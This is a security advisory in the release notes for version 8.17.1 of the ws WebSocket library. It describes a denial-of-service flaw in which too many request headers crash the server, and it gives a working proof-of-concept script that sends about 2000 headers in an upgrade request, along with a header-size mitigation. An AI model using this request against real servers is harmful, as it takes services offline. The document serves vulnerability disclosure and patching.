8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.
